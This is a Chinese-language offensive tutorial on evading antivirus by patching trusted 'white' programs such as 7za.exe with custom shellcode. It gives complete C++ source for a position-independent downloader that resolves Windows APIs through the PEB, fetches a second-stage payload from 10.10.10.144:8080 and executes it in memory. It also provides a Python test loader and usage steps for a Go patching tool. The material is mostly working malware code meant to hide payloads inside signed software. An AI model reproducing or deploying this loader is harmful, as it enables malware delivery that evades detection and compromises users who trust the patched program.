基于 PIC Shellcode 的白程序 Patch 免杀技术实现
免杀:Patch白程序
- 本文来源为鬼屋女鬼师傅的思路
一、Patch白程序简介
- Patch白程序,简单说就是:选一个本身干净可信的合法程序(白程序),通过打补丁(Patch)的方式,把恶意逻辑嵌入进去,让它在运行时顺带执行恶意代码
- 这样做的目的,是利用白程序的“信任背书”(签名、声誉、行为特征等)来降低被安全软件检测到的概率
- 基本原理:修改程序的某些关键位置(例如入口点、函数调用、空闲代码段等),插入一段跳转或直接嵌入自写的shellcode,使程序在正常执行流程中“顺路”执行恶意代码,然后再跳回原逻辑继续运行,看起来一切正常
- 自写shellcode:把原本需要完整程序结构(如PE文件、导入表等)的加载器或功能代码,压缩改写成一段可在内存中直接执行的纯机器代码。这段shellcode其实就是精简版加载器,我们就是将加载器的核心逻辑(如 API 寻址、内存分配、Payload 解密)重写为一段位置无关代码(PIC)
- PIC:不依赖环境,可以在内存中的任意位置执行的代码
二、开发/自写PIC Shellcode(VS+纯C++)
开发逻辑
- 通过编译选项等把代码和只读数据全部合并到
.text段,编译后从PE里把.text抠出来,得到一段加载到任意RWX内存都能直接跳进去执行的字节流 - 之所以是
.text段,是因为它是PE里唯一默认带可执行(X)属性的段,注入后跳进去才不会被DEP/NX拦截,且把所有内容收敛到这一个连续段里,dump出来就是完整自包含的字节流,不会出现跨段引用导致的偏移错乱
注意点
- 不能使用全局变量或者用static修饰的变量:这些变量不会存储在
.text段里,会被放到.data/.bss段,跨段引用且依赖加载器初始化,dump.text后访问会崩 - 使用API函数必须通过动态调用来获取,并且使用API函数前,必须先通过PEB找到对应的DLL:shellcode没有PE加载器修复IAT,编译期生成的导入表在注入后失效,只能运行时通过PEB动态拿到函数地址
- 需要自定义shellcode入口点(不能是
Main()函数):main由CRT启动代码调用,shellcode没有CRT,必须直接从字节流首字节开始执行,所以入口要放在.text起始位置
- CRT(C Runtime Library,C 运行时库)是编译器自带的底层支持代码,负责进程真正的入口(
mainCRTStartup)、全局/静态变量初始化、堆管理、标准库函数(printf/malloc等)、异常处理和退出清理 - shellcode因为没有PE加载器、IAT和TLS环境,且CRT本身会引用
.data/.rdata破坏位置无关性,所以必须禁用CRT,直接用自定义入口从字节流首字节执行
- 所有字符串全部使用字符串数组代替:字符串字面量默认放
.rdata,引用是绝对地址(重定位项),dump.text后地址失效;用字符数组(局部变量)会在栈上逐字节构造,位置无关
- 长度在16字节以内,使用
char xxx[] = {'X' ,'X', 'X'}(不能使用char xxx[] = {"xxx"})

- 长度超过16字节,使用`unsigned char xxx[] = {'X','X','X'}`
整体思路
- 编译配置和自定义函数入口点
- 动态加载API
- 通过PEB找DLL(找DLL的地址,如
kernel32.dll) - 在
kernel32.dll中找到GetProcAddress()):GetProcAddress()函数可以获取指定DLL中的所有函数 - 通过
GetProcAddress()函数获取LoadLibrary():这个API函数可以把所有DLL加载到程序中 - 后续可以通过
GetProcAddress()+LoadLibrary()从指定的DLL中获取的API函数来实现加载器的逻辑
- 补充:除了动态加载
GetProcAddress(),也可以自实现GetProcAddress() - 所有字符串使用
char数组进行存储
编译配置修改(属性)
- 设置为Release模式

- C/C++-->优化

- C/C++-->代码生成

- 链接器-->常规

- 链接器-->清单文件

- 链接器-->调试

- 链接器-->高级:这一步是自定义函数入口点,要跟代码中的函数入口点保持一致


编写代码(远程加载shellcode)-AI写举例
comm.h
#pragma once
// =====================================================================
// PIC Shellcode 公共头:API 函数指针类型 + API 表结构体
// PIC Shellcode 不能用 IAT,所有 Win32 API 都是运行时通过 GetProcAddress
// 拿到的"裸地址"(FARPROC,本质是 void*),调用前必须 cast 成正确签名的函数指针。这里集中定义所有用到的 API 的函数指针类型,以及一个把它们打包在一起的"API 表"结构体
//
// shellcode 不能用全局变量(会落到 .data,dump .text 后失效)。把所有函数指针放进一个结构体,在入口函数栈上分配一个实例,整张 API 表就跟着栈走,全程位置无关。
// =====================================================================
#include <windows.h>
#include <wininet.h>
// ---- API 函数指针类型 ----
// 一一对应:
// Fp_xK7n -> GetProcAddress
// Fp_qV3m -> LoadLibraryA
// Fp_zL9p -> VirtualAlloc
// Fp_bN2j -> VirtualFree
// Fp_rT5w -> VirtualProtect
// Fp_dH8c -> InternetOpenA
// Fp_yQ4f -> InternetConnectA
// Fp_mE1g -> HttpOpenRequestA
// Fp_kS6h -> HttpSendRequestA
// Fp_aJ0v -> HttpQueryInfoA
// Fp_uW7b -> InternetReadFile
// Fp_pZ3k -> InternetCloseHandle
typedef FARPROC (WINAPI* Fp_xK7n)(HMODULE, LPCSTR);
typedef HMODULE (WINAPI* Fp_qV3m)(LPCSTR);
typedef LPVOID (WINAPI* Fp_zL9p)(LPVOID, SIZE_T, DWORD, DWORD);
typedef BOOL (WINAPI* Fp_bN2j)(LPVOID, SIZE_T, DWORD);
typedef BOOL (WINAPI* Fp_rT5w)(LPVOID, SIZE_T, DWORD, PDWORD);
typedef HINTERNET (WINAPI* Fp_dH8c)(LPCSTR, DWORD, LPCSTR, LPCSTR, DWORD);
typedef HINTERNET (WINAPI* Fp_yQ4f)(HINTERNET, LPCSTR, INTERNET_PORT, LPCSTR, LPCSTR, DWORD, DWORD, DWORD_PTR);
typedef HINTERNET (WINAPI* Fp_mE1g)(HINTERNET, LPCSTR, LPCSTR, LPCSTR, LPCSTR, LPCSTR FAR*, DWORD, DWORD_PTR);
typedef BOOL (WINAPI* Fp_kS6h)(HINTERNET, LPCSTR, DWORD, LPVOID, DWORD);
typedef BOOL (WINAPI* Fp_aJ0v)(HINTERNET, DWORD, LPVOID, LPDWORD, LPDWORD);
typedef BOOL (WINAPI* Fp_uW7b)(HINTERNET, LPVOID, DWORD, LPDWORD);
typedef BOOL (WINAPI* Fp_pZ3k)(HINTERNET);
// ---- API 表 ----
// 入口函数会在栈上分配一个 XK9M_T 实例,把上面 12 个 API 的地址逐一解析后填进对应字段,之后所有 API 调用都是 _K.f_xxxx(...) 的形式。
typedef struct _tagXK9M {
Fp_xK7n f_xK7n; // GetProcAddress
Fp_qV3m f_qV3m; // LoadLibraryA
Fp_zL9p f_zL9p; // VirtualAlloc
Fp_bN2j f_bN2j; // VirtualFree
Fp_rT5w f_rT5w; // VirtualProtect
Fp_dH8c f_dH8c; // InternetOpenA
Fp_yQ4f f_yQ4f; // InternetConnectA
Fp_mE1g f_mE1g; // HttpOpenRequestA
Fp_kS6h f_kS6h; // HttpSendRequestA
Fp_aJ0v f_aJ0v; // HttpQueryInfoA
Fp_uW7b f_uW7b; // InternetReadFile
Fp_pZ3k f_pZ3k; // InternetCloseHandle
} XK9M_T, *PXK9M_T;
PIC.cpp
// 整体流程
// _g7tQx() 通过 PEB → PEB_LDR_DATA 链表找 kernel32 基址
// _h2pBz() 扫 kernel32 EAT 取 GetProcAddress
// _e9wKr() 入口函数(vcxproj 中 <EntryPointSymbol> 指定):
// 解析 LoadLibraryA / 内存 API / wininet 网络 API
// HTTP GET 下载 payload → VirtualAlloc 写入 → VirtualProtect 改 R+X → 跳转执行 → VirtualFree 清理
// =====================================================================
#include "comm.h"
#include <winternl.h>
// ---------------------------------------------------------------------
// _g7tQx:通过 PEB 获取 kernel32.dll 模块基址(不依赖任何 API)
// ---------------------------------------------------------------------
ULONGLONG _g7tQx()
{
ULONGLONG _v0 = 0;
// 取 TEB(线程环境块)
_TEB* _v1 = NtCurrentTeb();
// _v2 = PEB (TEB + 0x60 处保存 PEB 指针)
PULONGLONG _v2 = (PULONGLONG) * (PULONGLONG)((ULONGLONG)_v1 + 0x60);
// _v3 = PEB_LDR_DATA (PEB + 0x18 处保存 PEB_LDR_DATA 指针)
PULONGLONG _v3 = (PULONGLONG) * (PULONGLONG)((ULONGLONG)_v2 + 0x18);
// _v4 = &InInitializationOrderModuleList (LDR + 0x30,链表头)
PULONGLONG _v4 = (PULONGLONG)((ULONGLONG)_v3 + 0x30);
// _v5 = 链表第 1 个节点 (ntdll.dll 对应的 LDR_DATA_TABLE_ENTRY)
// 这里 -0x20 是因为 InInitializationOrderLinks 字段在
// LDR_DATA_TABLE_ENTRY 内部偏移 0x20,要回退到结构体起始
PULONGLONG _v5 = (PULONGLONG) * (PULONGLONG)((ULONGLONG)_v4 - 0x20);
// _v6 = 链表第 2 个节点 (kernelbase.dll)
PULONGLONG _v6 = (PULONGLONG) * (PULONGLONG)((ULONGLONG)_v5);
// _v7 = 链表第 3 个节点 (kernel32.dll) ← 目标
PULONGLONG _v7 = (PULONGLONG) * (PULONGLONG)((ULONGLONG)_v6);
// entry[6] 即偏移 0x30 处的 DllBase(每项 8 字节,第 6 项 = +0x30)
_v0 = _v7[6];
return _v0;
}
// ---------------------------------------------------------------------
// _h2pBz:实现 GetProcAddress —— 从 kernel32 EAT 解析 GetProcAddress
// ---------------------------------------------------------------------
FARPROC _h2pBz() {
// 从 kernel32 基址出发,按 PE 结构一路解引用(DOS 头 → NT 头 → 数据目录 → 导出表),把后面遍历要用的"函数 RVA 表 / 函数名 RVA 表 / 名字-序号映射表"这三个关键指针和"函数总数 / 命名函数数"两个计数都准备好
FARPROC _r0 = NULL;
ULONGLONG _a0 = _g7tQx(); // kernel32 基址
PIMAGE_DOS_HEADER _d0 = (PIMAGE_DOS_HEADER)_a0; // DOS 头
PIMAGE_NT_HEADERS _n0 = (PIMAGE_NT_HEADERS)(_a0 + _d0->e_lfanew); // NT 头
PIMAGE_DATA_DIRECTORY _dd0 = _n0->OptionalHeader.DataDirectory + IMAGE_DIRECTORY_ENTRY_EXPORT; // 导出目录项
PIMAGE_EXPORT_DIRECTORY _x0 = (PIMAGE_EXPORT_DIRECTORY)(_a0 + _dd0->VirtualAddress); // 导出表
DWORD _c0 = _x0->NumberOfFunctions; // 函数总数
DWORD _c1 = _x0->NumberOfNames; // 命名函数数
PDWORD _p0 = (PDWORD)(_a0 + _x0->AddressOfFunctions); // 函数 RVA 表
PDWORD _p1 = (PDWORD)(_a0 + _x0->AddressOfNames); // 函数名 RVA 表
PWORD _p2 = (PWORD)(_a0 + _x0->AddressOfNameOrdinals); // 名字 -> 函数索引
// 在 kernel32 的导出表里按名字找到 GetProcAddress,返回它的真实内存地址:
// 双层循环遍历 kernel32 的导出表(EAT)
// 外层枚举每个函数索引 i,跳过空槽,记下当前函数的 RVA _o0
// 内层枚举名字表,通过 AddressOfNameOrdinals 找到 ordinal 等于 i 的那一项,取出对应的函数名字符串,逐字节比对 "GetProcAddress";命中后用"函数 RVA + kernel32 基址"算出真实的函数虚拟地址并返回
for (size_t i = 0; i < _c0; i++) {
if (!_p0[i]) {
continue; // 空槽跳过
}
DWORD _o0 = _p0[i]; // 当前函数 RVA
for (size_t j = 0; j < _c1; j++) {
if (_p2[j] == i) { // 找到 i 对应的名字索引 j
DWORD _o1 = _p1[j];
char* _pn = (char*)(_a0 + _o1); // 函数名字符串
// 逐字节比 "GetProcAddress",避免 .rdata 字面量
if (_pn[0] == 'G' &&
_pn[1] == 'e' &&
_pn[2] == 't' &&
_pn[3] == 'P' &&
_pn[4] == 'r' &&
_pn[5] == 'o' &&
_pn[6] == 'c' &&
_pn[7] == 'A' &&
_pn[8] == 'd' &&
_pn[9] == 'd' &&
_pn[10] == 'r' &&
_pn[11] == 'e' &&
_pn[12] == 's' &&
_pn[13] == 's') {
_r0 = (FARPROC)(_o0 + _a0); // RVA + 基址 = 实际地址
return _r0;
}
}
}
}
}
// ---------------------------------------------------------------------
// _e9wKr:Shellcode 入口函数
// ---------------------------------------------------------------------
//
// 流程具体
// ① bootstrap:拿到 kernel32 基址 + 动态获取的 GetProcAddress
// ② 用 GetProcAddress 解析 kernel32 中的 LoadLibraryA、
// VirtualAlloc、VirtualFree、VirtualProtect
// ③ LoadLibraryA("wininet.dll") 加载 wininet(不是默认装载模块),
// 再用 GetProcAddress 解析里面用到的 7 个网络 API
// ④ HTTP GET http://10.10.10.144:8080/test.js 下载二级 shellcode
// ⑤ 用 HttpQueryInfoA 取 Content-Length,按长度 VirtualAlloc 申请
// RW 内存,InternetReadFile 把响应体读进来
// ⑥ VirtualProtect 改成 PAGE_EXECUTE_READ
// ⑦ 把内存当函数指针跳进去执行
// ⑧ VirtualFree 释放
void _e9wKr()
{
// ---- 第 1 步:bootstrap,拿 kernel32 基址 + 动态加载 GetProcAddress ----
XK9M_T _K; // API 表,栈上分配
HMODULE _h0 = (HMODULE)_g7tQx(); // kernel32 基址
_K.f_xK7n = (Fp_xK7n)_h2pBz(); // 真正的 GetProcAddress
// ---- 第 2 步:用 GetProcAddress 解析 LoadLibraryA ----
// 拿到 LoadLibraryA 后,任意 DLL 都能加载进当前进程
char _s0[] = { 'L','o','a','d','L','i','b','r','a','r','y','A',0 };
_K.f_qV3m = (Fp_qV3m)_K.f_xK7n(_h0, _s0);
// ---- 远程下载目标参数----
BYTE _b0[] = { '1', '0', '.', '1', '0', '.', '1', '0', '.', '1', '4', '4', 0 }; // 服务器 host
WORD _b1 = 8080; // 服务器 port
BYTE _b2[] = { '/', 't', 'e', 's', 't', '.', 'j', 's', 0 }; // 资源路径
size_t _b3 = 0; // payload 长度
char _b4[] = { 'H','T','T','P','/','1','.','1','\0' }; // HTTP 版本
// ---- 第 3 步:解析 kernel32 中的 API ----
// VirtualAlloc / VirtualFree / VirtualProtect 用来申请、释放、改属性
char _s1[] = { 'V','i','r','t','u','a','l','A','l','l','o','c',0 };
_K.f_zL9p = (Fp_zL9p)_K.f_xK7n(_h0, _s1);
char _s2[] = { 'V','i','r','t','u','a','l','F','r','e','e',0 };
_K.f_bN2j = (Fp_bN2j)_K.f_xK7n(_h0, _s2);
char _s3[] = { 'V','i','r','t','u','a','l','P','r','o','t','e','c','t',0 };
_K.f_rT5w = (Fp_rT5w)_K.f_xK7n(_h0, _s3);
// ---- 第 4 步:加载 wininet.dll,解析里面 7 个网络 API ----
// wininet 不是进程默认装载的模块,必须先 LoadLibraryA 把它拉进来,
// 之后才能从它的导出表中拿到 InternetXxx / HttpXxx 函数地址
char _s4[] = { 'w', 'i', 'n', 'i', 'n', 'e', 't', '.', 'd', 'l', 'l', 0 };
unsigned char _s5[] = { 'I', 'n', 't', 'e', 'r', 'n', 'e', 't', 'O', 'p', 'e', 'n', 'A', 0 };
_K.f_dH8c = (Fp_dH8c)_K.f_xK7n(_K.f_qV3m(_s4), (LPCSTR)_s5);
unsigned char _s6[] = { 'I', 'n', 't', 'e', 'r', 'n', 'e', 't', 'C', 'o', 'n', 'n', 'e', 'c', 't', 'A', 0 };
_K.f_yQ4f = (Fp_yQ4f)_K.f_xK7n(_K.f_qV3m(_s4), (LPCSTR)_s6);
unsigned char _s7[] = { 'H', 't', 't', 'p', 'O', 'p', 'e', 'n', 'R', 'e', 'q', 'u', 'e', 's', 't', 'A', 0 };
_K.f_mE1g = (Fp_mE1g)_K.f_xK7n(_K.f_qV3m(_s4), (LPCSTR)_s7);
unsigned char _s8[] = { 'H', 't', 't', 'p', 'S', 'e', 'n', 'd', 'R', 'e', 'q', 'u', 'e', 's', 't', 'A', 0 };
_K.f_kS6h = (Fp_kS6h)_K.f_xK7n(_K.f_qV3m(_s4), (LPCSTR)_s8);
unsigned char _s9[] = { 'H','t','t','p','Q','u','e','r','y','I','n','f','o','A',0 };
_K.f_aJ0v = (Fp_aJ0v)_K.f_xK7n(_K.f_qV3m(_s4), (LPCSTR)_s9);
unsigned char _sA[] = { 'I', 'n', 't', 'e', 'r', 'n', 'e', 't', 'R', 'e', 'a', 'd', 'F', 'i', 'l', 'e', 0 };
_K.f_uW7b = (Fp_uW7b)_K.f_xK7n(_K.f_qV3m(_s4), (LPCSTR)_sA);
unsigned char _sB[] = { 'I', 'n', 't', 'e', 'r', 'n', 'e', 't', 'C', 'l', 'o', 's', 'e', 'H', 'a', 'n', 'd', 'l', 'e', 0 };
_K.f_pZ3k = (Fp_pZ3k)_K.f_xK7n(_K.f_qV3m(_s4), (LPCSTR)_sB);
// ---- 第 5 步:InternetOpen —— 创建 HTTP 会话句柄 ----
// User-Agent 伪装成 Chrome
HINTERNET _q0 = NULL;
unsigned char _sC[] = {
'M', 'o', 'z', 'i', 'l', 'l', 'a', '/', '5', '.', '0', ' ',
'(', 'W', 'i', 'n', 'd', 'o', 'w', 's', ' ', 'N', 'T', ' ',
'1', '0', '.', '0', ';', ' ', 'W', 'i', 'n', '6', '4', ';',
' ', 'x', '6', '4', ')', ' ', 'A', 'p', 'p', 'l', 'e', 'W',
'e', 'b', 'K', 'i', 't', '/', '5', '3', '7', '.', '3', '6',
' ', '(', 'K', 'H', 'T', 'M', 'L', ',', ' ', 'l', 'i', 'k',
'e', ' ', 'G', 'e', 'c', 'k', 'o', ')', ' ', 'C', 'h', 'r',
'o', 'm', 'e', '/', '1', '4', '7', '.', '0', '.', '0', '.',
'0', ' ', 'S', 'a', 'f', 'a', 'r', 'i', '/', '5', '3', '7',
'.', '3', '6', 0
};
_q0 = _K.f_dH8c((LPCSTR)_sC, INTERNET_OPEN_TYPE_PRECONFIG, NULL, NULL, 0);
if (!_q0) {
return;
}
// ---- 第 6 步:InternetConnect —— 连接远程服务器 ----
HINTERNET _q1 = NULL;
_q1 = _K.f_yQ4f(_q0, (LPCSTR)_b0, _b1, NULL, NULL, INTERNET_SERVICE_HTTP, 0, 0);
if (!_q1) {
_K.f_pZ3k(_q0);
return;
}
// ---- 第 7 步:HttpOpenRequest —— 构造 GET 请求 ----
HINTERNET _q2 = NULL;
char _sD[] = { 'G', 'E', 'T', 0 };
_q2 = _K.f_mE1g(_q1, _sD, (LPCSTR)_b2, _b4, NULL, 0, INTERNET_FLAG_DONT_CACHE, 0);
if (!_q2) {
_K.f_pZ3k(_q1);
_K.f_pZ3k(_q0);
return;
}
// ---- 第 8 步:HttpSendRequest —— 发出请求 ----
BOOL _t0 = FALSE;
_t0 = _K.f_kS6h(_q2, NULL, 0, 0, 0);
if (!_t0) {
_K.f_pZ3k(_q2);
_K.f_pZ3k(_q1);
_K.f_pZ3k(_q0);
return;
}
// ---- 第 9 步:HttpQueryInfo 取 Content-Length,确定缓冲区大小 ----
// HTTP_QUERY_FLAG_NUMBER 让 wininet 直接把字符串解析成 DWORD 返回
BOOL _t1 = FALSE;
DWORD _n1 = 0;
DWORD _n2 = sizeof(DWORD);
_t1 = _K.f_aJ0v(_q2, HTTP_QUERY_CONTENT_LENGTH | HTTP_QUERY_FLAG_NUMBER, &_n1, &_n2, NULL);
if (!_t1) {
_K.f_pZ3k(_q2);
_K.f_pZ3k(_q1);
_K.f_pZ3k(_q0);
return;
}
_b3 = _n1 + 1; // +1 留 0 终止位
// ---- 第 10 步:VirtualAlloc 申请 RW 内存 + InternetReadFile 读 payload ----
// 先申请成 PAGE_READWRITE,写完之后再改成 EXECUTE_READ
LPVOID _m0 = NULL;
_m0 = _K.f_zL9p(NULL, _b3, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
DWORD _n3 = 0;
if (!_K.f_uW7b(_q2, _m0, _b3, &_n3)) {
_K.f_pZ3k(_q2);
_K.f_pZ3k(_q1);
_K.f_pZ3k(_q0);
return;
}
// 句柄用完即关
_K.f_pZ3k(_q2);
_K.f_pZ3k(_q1);
_K.f_pZ3k(_q0);
// ---- 第 11 步:VirtualProtect 把内存改成可执行 ----
// 用 PAGE_EXECUTE_READ 而不是 RWX:写阶段是 RW,执行阶段去掉 W,
DWORD _n4 = 0;
if (!_K.f_rT5w(_m0, _b3, PAGE_EXECUTE_READ, &_n4)) {
_K.f_bN2j(_m0, 0, MEM_RELEASE);
return;
}
// ---- 第 12 步:跳转执行二级 shellcode ----
// 把内存地址 cast 成 void(*)() 然后调用 = 控制流跳到 payload 首字节
typedef void(*_F0)();
_F0 _f0 = (_F0)_m0;
_f0();
// ---- 第 13 步:执行结束清理 ----
_K.f_bN2j(_m0, 0, MEM_RELEASE);
}
- 代码整体逻辑
┌─────────────────────────────────────────────────────────────────┐
│ 编译期约束 (vcxproj 配置) │
│ /ENTRY:_e9wKr /NODEFAULTLIB /GS- 合并段到 .text 去异常 │
│ 目的:产物 .text 自包含、无 IAT、无 CRT、无重定位 │
└─────────────────────────────────────────────────────────────────┘
│
▼
┌─────────────────────────────────────────────────────────────────┐
│ comm.h:定义 12 个 API 函数指针类型 + 打包成 XK9M_T 结构体 │
│ (不能用全局变量,运行时在栈上 new 一个 XK9M_T 实例承载所有 API)│
└─────────────────────────────────────────────────────────────────┘
│
▼
┌─────────────────────────────────────────────────────────────────┐
│ 入口 _e9wKr() 启动 │
└─────────────────────────────────────────────────────────────────┘
│
▼
┌──────────────────────────────────────────────────────┐
│ ① 拿 kernel32 基址:_g7tQx() │
│ TEB+0x60 → PEB+0x18 → LDR+0x30 → 链表第3项 → +0x30│
│ 不调用任何 API,纯指针偏移解引用 │
└──────────────────────────────────────────────────────┘
│
▼
┌──────────────────────────────────────────────────────┐
│ ② 动态加载 GetProcAddress:_h2pBz() │
│ DOS头 → NT头 → 导出表 → 双层循环遍历 EAT │
│ 逐字节比 'G''e''t''P'... 命中后 RVA+基址=函数地址 │
│ (鸡生蛋第一步:第一个 API 必须靠手写解析 EAT) │
└──────────────────────────────────────────────────────┘
│
▼
┌──────────────────────────────────────────────────────┐
│ ③ 用 GetProcAddress 解 LoadLibraryA │
│ char s[] = {'L','o','a','d',...,0}; │
│ _K.f_qV3m = GetProcAddress(kernel32, s) │
│ 字符串栈上构造,避免落 .rdata │
└──────────────────────────────────────────────────────┘
│
▼
┌──────────────────────────────────────────────────────┐
│ ④ 解 kernel32 中的内存 API │
│ VirtualAlloc / VirtualFree / VirtualProtect │
└──────────────────────────────────────────────────────┘
│
▼
┌──────────────────────────────────────────────────────┐
│ ⑤ LoadLibraryA("wininet.dll") + 解 7 个网络 API │
│ wininet 不是默认装载,必须先拉进进程 │
│ 再用 GetProcAddress 取 InternetXxx / HttpXxx │
└──────────────────────────────────────────────────────┘
│
▼
┌──────────────────────────────────────────────────────┐
│ 至此 XK9M_T 表填满,所有 API 就位 → 进入业务逻辑 │
└──────────────────────────────────────────────────────┘
│
▼
┌─────────────────────────────────────────────────────────────────┐
│ 业务逻辑:HTTP 下载并执行 payload │
└─────────────────────────────────────────────────────────────────┘
│
▼
InternetOpenA(伪装 Chrome UA)
│
▼
InternetConnectA(10.10.10.144 : 8080)
│
▼
HttpOpenRequestA("GET", "/test.js", DONT_CACHE)
│
▼
HttpSendRequestA
│
▼
HttpQueryInfoA(CONTENT_LENGTH) ──→ 得到 payload 长度
│
▼
VirtualAlloc(NULL, len, COMMIT|RESERVE, PAGE_READWRITE)
│ 申请 RW 内存(不直接 RWX)
▼
InternetReadFile → 把响应体写进 RW 内存
│
▼
关闭三个 HINTERNET 句柄
│
▼
VirtualProtect(mem, len, PAGE_EXECUTE_READ)
│ 改成 R+X,全程不出现 RWX 可疑页
▼
((void(*)())mem)() ──→ 控制流跳到二级 shellcode 首字节
│
▼
VirtualFree(MEM_RELEASE) 清理收尾
│
▼
┌─────────────────────────────────────────────────────────────────┐
│ 编译 → 从 PE 抠出 .text → 得到 PIC Shellcode 字节流 │
│ 注入任意进程 RWX 内存 → 跳进去即执行整套逻辑 │
└─────────────────────────────────────────────────────────────────┘提取shellcode
- 将PIC项目代码打包成exe以后,通过python提取shellcode
python extract.py -f PIC.exe -o PIC.bin
// -f:输入文件
// -o:输出文件(shellcode)
测试shellcode能否使用
- 通过python编写简易的Loader进行测试
import ctypes, sys
with open(sys.argv[1], "rb") as f:
sc = f.read()
VirtualAlloc = ctypes.windll.kernel32.VirtualAlloc
VirtualAlloc.restype = ctypes.c_void_p
RtlMoveMemory = ctypes.windll.kernel32.RtlMoveMemory
CreateThread = ctypes.windll.kernel32.CreateThread
WaitForSingleObject = ctypes.windll.kernel32.WaitForSingleObject
addr = VirtualAlloc(None, len(sc), 0x3000, 0x40)
RtlMoveMemory(ctypes.c_void_p(addr), sc, len(sc))
h = CreateThread(None, 0, ctypes.c_void_p(addr), None, 0, ctypes.byref(ctypes.c_ulong(0)))
WaitForSingleObject(h, -1)- 使用方法
python LoaderTest.py PIC.bin
三、Patch白程序
- 编译命令
go env -w GOPROXY=https://goproxy.cn,direct
go mod init BinHol
go mod tidy
go build -o main.exe main.go- 两种方式
- Patch程序入口点
- Patch程序内的其他函数
- 使用方法
// Ptach程序入口点
main.exe -sign entrypoint .\7za.exe .\PIC.bin
// Patch程序内的其他函数
main.exe -sign function .\7za.exe .\PIC.bin
-sign:保留数字签名,但是Ptach后数字签名会失效
entrypoint:Ptach程序入口点
function:Patch程序内的其他函数
.\7za.exe:需要Ptach的程序
.\PIC.bin:开发并提取的shellcode文件
- 验证:直接运行Patch后的exe

- 补充:该工具在Patch DLL时,会提示只能Patch EXE,此时可以把
.dll后缀改为.exe,Ptach完以后再改回.dll即可